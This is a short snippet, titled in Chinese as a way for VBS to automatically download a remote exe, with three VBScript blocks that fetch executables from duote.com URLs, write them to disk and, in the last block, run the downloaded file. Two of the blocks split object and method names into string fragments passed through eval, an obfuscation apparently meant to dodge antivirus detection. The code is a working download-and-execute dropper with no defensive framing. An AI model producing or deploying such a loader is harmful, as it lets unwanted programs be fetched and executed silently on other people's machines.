VBS自动下载远程exe到本机

Set xfuck = CreateObject("Mic"&"rosoft.XM"&"L"&"HTTP")
with xfuck
.Open "GET","http://22.duote.com/wirelesskeyview.exe",0  
.Send()
end with
Set szy = CreateObject("AD"&"ODB.St"&"r"&"eam")
with szy  
.type = eval("1")
.Mode = eval("3")  
.open()
.write eval("xfuck.res"&"po"&"nse"&"Bod"&"y")
.SaveToFile "C:\xxx.exe",eval ("2")  
end with

url = "http://22.duote.com/wirelesskeyview.exe" '网络上的文件地址或者程序  
saveas = "x.exe" '保存成的本地文件或者名字（自定义）  
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象  
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象  

Call xmlhttp.open("GET",url,False)'打开连接  
Call xmlhttp.send()'发送请求  

stream.mode = 3 '设置数据流为读写模式  
stream.type = 1 '设置数据流为二进制模式  
Call stream.open()'打开数据流  
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流  
Call stream.savetofile(saveas,2)'将数据流保存为文件  

'释放对象  
Set xmlhttp = Nothing  
Set stream = Nothing  
dim a '定义a变量  
set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序

Set xfuck = CreateObject("Mic"&"rosoft.XM"&"L"&"HTTP")
with xfuck
.Open "GET","http://23.duote.com/mirandaim.exe",0  
.Send()
end with
Set szy = CreateObject("AD"&"ODB.St"&"r"&"eam")
with szy  
.type = eval("1")
.Mode = eval("3")  
.open()
.write eval("xfuck.res"&"po"&"nse"&"Bod"&"y")
.SaveToFile "xxx.exe",eval ("2")  
end with
Dim objws
Set objws=WScript.CreateObject("wscript.shell")
objws.Run "xxx.exe"